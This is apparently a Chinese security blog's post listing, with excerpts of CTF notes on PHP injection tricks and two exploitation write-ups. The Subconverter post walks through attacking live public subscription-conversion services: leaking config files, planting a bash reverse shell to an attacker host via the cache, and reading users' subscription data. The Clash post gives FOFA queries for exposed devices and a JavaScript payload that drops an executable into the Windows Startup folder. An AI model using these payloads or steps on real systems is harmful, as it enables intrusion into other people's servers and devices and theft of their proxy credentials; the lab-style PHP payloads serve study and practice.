[靶场笔记]第十章

return可直接执行十六进制 RT,如果放在return后面的语句是十六进制,就会先转换成可执行命令(maybe) 函数可运算 比如1-phpinfo()-1这种语法其实是允许的,返回的内容因为函数本身返回值是1,所以结果是-1。并且phpinfo()可被执行 create_function()创建匿名函数 流程如下 但是可能看起来比较不好懂,再来看下面这个 create_function()会创建一个匿名函数(lambda样式) create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。 因此create_function函数等价于 <?php function lambda1($a,$b){ return "ln($a) + ln($b) = " . log($a * $b); } ?> 下面来看一个例子([NISACTF 2022]level-up) <?php error_reporting(0); include "str.php"; $a = $_GET['a']; $b = $_GET['b']; if(preg_match('/^[a-z0-9_]*$/isD',$a)){ show_source(__FILE__); } else{ $a('',$b); } 构造payload的时候,注意正则匹配 preg_match('/^[a-z0-9_]*$/isD',$a,说明我们在构造payload的时候第一个字母不能为数字或者字母,所以我们需要绕过正则,这里要用\(转义符绕过,构造payload: ?a=\create_function&b=return 'Leaf';}phpinfo();/* 解释一下上面的payload: \的作用是绕过正则匹配preg_match,第一个;是让return 语句结束(其实也可以不用谢这句return,直接写后面的花括号),}的作用是让create_function语句闭合,然后执行phpinfo();后面要加/*是为了让最后的}被注释掉来保证phpinfo()正常执行 中文变量名 对于下面这样的过滤如果束手无策 if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)) 就可以考虑用中文名来命名变量。(可能你会觉得这很不可思议,但在php里确实是允许的) payload如下 $哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* 其中,"{{{"^"?<>/";的结果是_GET tee 这个命令类似echo ... >,可以把...的内容写入到对应文本中。一般是配合管道使用,例如ls / |tee 1,作用就是把ls列出来的内容存入到1这个文件里。如果在进行网站敏感信息读取,访问1就能下载这个文件 php的类函数调用 php的类使用其实类似C++,比如ctf类中有个getflag函数,配合 call_user_func()或者eval()可以直接用 shell盲注 和SQL盲注类似,[awk](https://www.runoob.com/linux/linux-comm-awk.html)命令可以截取字符串,[cut](https://www.runoob.com/linux/linux-comm-cut.html)命令可以截取单个字符输出。结合shell编程里的if和sleep等命令就能判断正误。例如下面这样 ...

October 25, 2023 · 1 min · Red

[VulnHub]第三章

本章靶场:Prime: 1 FUZZ 用来用去感觉还是wfuzz好用,参数简洁明了。这个靶机下用到参数有下面这些 wpscan wpscan的-e参数,可以用来枚举用户名 wordpress修改主题文件 一个意料之外又情理之中的功能,可以用来写一句话木马 防御办法:wp禁止主题编辑操作,通过在wp-config.php中,把define(‘DISALLOW_FILE_EDIT’,true) MSF提权漏洞搜索 在拿到普通用户后,在msf中尝试searchsploit指令,后面加上系统的版本信息,就能找到提权漏洞的exp,编译后上传,再运行即可

October 24, 2023 · 1 min · Red

[漏洞分析or分享]Subconverter订阅转换服务漏洞

漏洞在此之前已经被发现,更多有关漏洞细节可以自行分析该项目 相信能点进来的各位都是使用过订阅转换服务的。通过这类在线工具可以轻松地将v2ray的节点分享链接格式转换为clash使用的订阅链接,或者将clash的订阅格式转换为v2ray使用的节点分享链接,也有人用来转换机场提供的默认clash配置,日常使用的频率非常高。 但订阅转换节点存在的安全风险不仅是有可能被第三方转换服务在后台偷走你的节点信息,就算你使用的转换服务是由节点提供商提供的(节点提供商总不可能偷自己的节点),也存在被人盗取的风险,甚至连提供商自己都不知道。 漏洞描述 目前市面上主流的订阅转换服务,例如肥羊、品云、边缘等,使用的都是基于Subconverter项目搭建的。而目前Github上的Subconverter开源项目中最新的release仍然存在RCE漏洞。也就是说,不管转换服务用的是哪个版本,都有可能被黑客入侵,从而盗走所有人的节点信息。 漏洞复现 随便在网上找个订阅转换服务 一只看着很欠揍的狐狸,就你了 随便输入个符合格式的内容,跳转出后端订阅地址 复制,并加上/version 成功展示subconverter版本。不过subconverter目前最新版只有0.7.2,所以这个服务的老板应该是自己编译改的。不管他,继续。 在下面这些接口命令中尝试访问出配置文件内容(分别使用不同的接口) # qx-script接口(0.7.2-be878e1后被删除) /qx-script?url=cHJlZi50b21s /qx-script?url=cHJlZi55bWw /qx-script?url=cHJlZi5pbmk # convert接口 /convert?url=pref.toml /convert?url=pref.ini /convert?url=pref.yml 这是由于路径穿越过滤不严谨导致配置文件内容泄露 可以看到暴露的token值为默认值password 来到配置文件最下面,看到缓存开启 好的,准备开始植入恶意指令。首先准备好木马 function parse(x){ os.exec(["sh","-c","bash -i >& /dev/tcp/{your_ip}/1880 0>&1"]) } 把{your_ip}换成你的vps ip,保存成一个txt后在这个目录下开个简单的http服务就行 再开个窗口把监听打开,准备接收反弹shell 在刚才的网址后面加上这一段,让订阅服务主动将准备好的木马读到缓存里 # 指令写入缓存目录 /sub?target=clash&url=http://{your_ip}/payload 接着把url参数后面的内容用md5加密,再放到下面这段链接里,用来触发我们的木马 /sub?target=clash&url=script:cache/{your_md5},1&token={token} 记得把{your_md5}和{token}改掉。token就是上面刚刚提到的那个 回车访问,在刚刚等待shell的窗口里就能拿到shell啦 运气不错,是个root。不过还有更刺激的,我们使用ls /etc/systemd/system查看一下他开启的服务 可以看到有个特征比较明显的sub,还有一个xui面板 之后就能用journal -fw sub看到所有在他的sub服务中转换过的订阅信息了。一览无余 漏洞分析 正在写…. 漏洞修复 正在写….

October 7, 2023 · 1 min · Red

[漏洞分享]Clash节点盗用与设备入侵

漏洞描述 Clash开发于Electron。Electron是GitHub开发的一个使用JavaScript、HTML和CSS构建桌面应用程序的开源框架。它通过使用Node.js和Chromium的渲染引擎完成跨平台的桌面GUI应用程序的开发,因此Electron拥有直接执行Node.js代码的能力,并且内置了Chromium内核,通过一个XSS漏洞就有可能导致远程代码执行的危害。 根据Clash官方文档的介绍(https://clash.gitbook.io/doc/restful-api),Clash存在一套RESTful API可以用于控制自身,能获取Clash中的一些信息,同时也能控制Clash内部的配置。 在公网中,有许多分配到公网ip的Clash设备暴露了自身的RESTful API端口,导致黑客能够直接使用clash dashboard知道其节点信息以及控制其代理端口,达到使用被害者设备代理翻墙的目的 同时,黑客也能利用以上拓补关系和较低版本Clash的历史漏洞(详见此issue:[Bug]: Remote Code Execution/远程代码执行 #3891),达到Getshell的目的 漏洞复现 在FOFA中使用下面语法对暴露的Clash API进行搜集 clash:https://fofa.info/result?qbase64=IntcImhlbGxvXCI6XCJjbGFzaFwifSI%3D clash.meta:https://fofa.info/result?qbase64=IntcImhlbGxvXCI6XCJjbGFzaC5tZXRhXCJ9Ig%3D%3D openclash:https://fofa.info/result?qbase64=cG9ydD0iOTA5MCIgJiYgYm9keT0ie1wibWVzc2FnZVwiOlwiVW5hdXRob3JpemVkXCJ9Ig%3D%3D 随机挑选,在Clash dashboard中导入拥有如下返回的IP地址和端口 即可看到该设备的节点信息 在设置中查看HTTP代理端口或混合代理端口信息 使用SwitchyOmega插件进行代理 即可访问Google 另外,如果想Getshell可以利用下面这段js代码 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <title>Hack it!</title> </head> <body> <div id="result"></div> <script> const data = { payload: "mixed-port: 7890\nallow-lan: false\nmode: rule\nlog-level: warning\nproxy-groups: \n - name: 系统被入侵\n type: select\n use:\n - provider1\nproxy-providers:\n provider1:\n type: http\n url: 'http://192.168.2.5/artifact.exe'\n interval: 36000\n path: ../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/\n healthcheck:\n enable: false\n interval: 600\n url: http://www.gstatic.com/generate_204" }; fetch('http://{yourip}:{yourport}/configs', { method: 'PUT', headers: { 'Content-type': 'application/json; charset=utf-8', //'Authorization': 'Bearer 123456' //clash鉴权头部 }, body: JSON.stringify(data), }) .then(response => { if (response.status === 204) { result.innerText = '入侵成功!'; } else { response.json() .then(jsonData => { result.innerText = '入侵失败!' + JSON.stringify(jsonData); }) } }) .catch(error => { result.innerText = '执行失败!' + error.message; }); </script> </body> </html> 这段payload的作用是自动下载192.168.2.5提供的artifact.exe木马到Startup开机自启目录,这个操作将在clash重启或者切换节点时候执行。具体情况修改ip和端口即可。 ...

October 4, 2023 · 1 min · Red

[靶场笔记]第九章

trim() 这个函数可以过滤掉一些特殊符号,但是换页符\f不过滤。这个方法对is_numeric也有效 带 . 的变量名 php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换 先看看下面这个变量的传入 isset($_POST['CTF_SHOW.COM']) 这个变量如果按正常逻辑,应该传入CTF_SHOW.COM=1,但根据这个特性,就只能传入CTF[SHOW.COM= 自己构建传值方法 先看代码 include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\|\/|~|`|!|\@|#|\%|\^|*|-|+|=|{|}|\"|\'|\,|.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } 这里介绍一种很特别的方法 highlight_file熟悉吧?但是这里没法传入flag,怎么办?看下面的payload就知道了 GET:?shell=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[shell]) $_SERVER $_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。更多信息可以参考这里 上面那道题的代码可以通过下面payload绕过。 意思就是通过$_SERVER[‘argv’]将$a变成数组,利用数组这个“障眼法”,在eval处执行parse_str将fl0g=flag_give_me变成一条命令(变量),同时还绕过第一个if中的!isset($_GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。 GET:?a=1+fl0g=flag_give_me POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) 或者 GET:?$fl0g=flag_give_me POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0]) $_SERVER[‘QUERY_STRING’] ‘QUERY_STRING’ 这一参数的作用是接收所有get数据。更多类似参数可以看这里 _() _()是一个函数 _()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll get_defined_vars() get_defined_vars 函数返回由所有已定义变量所组成的数组 这样可以获得 $flag stripos() 这个函数存在路径穿越漏洞,可以使用../..返回上级目录 正则表达式溢出 在php中正则表达式进行匹配有一定的限制,超过限制直接返回false 例如,在preg_replace函数的匹配规则种,被匹配的参数只要够大(25万个very就行),就能让这个函数强行输出false 变量覆盖绕过 先来看这段代码 if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); }} 很明显是要我们读取flag.php的内容,但是F被substr过滤处理,所以需要一点特殊的方法来绕过 这里就直接放payload,可以使sleep被执行(这里的sleep是shell的sleep,不是php) 为什么这句payload可以被执行呢?首先,substr把 ...

September 19, 2023 · 1 min · Red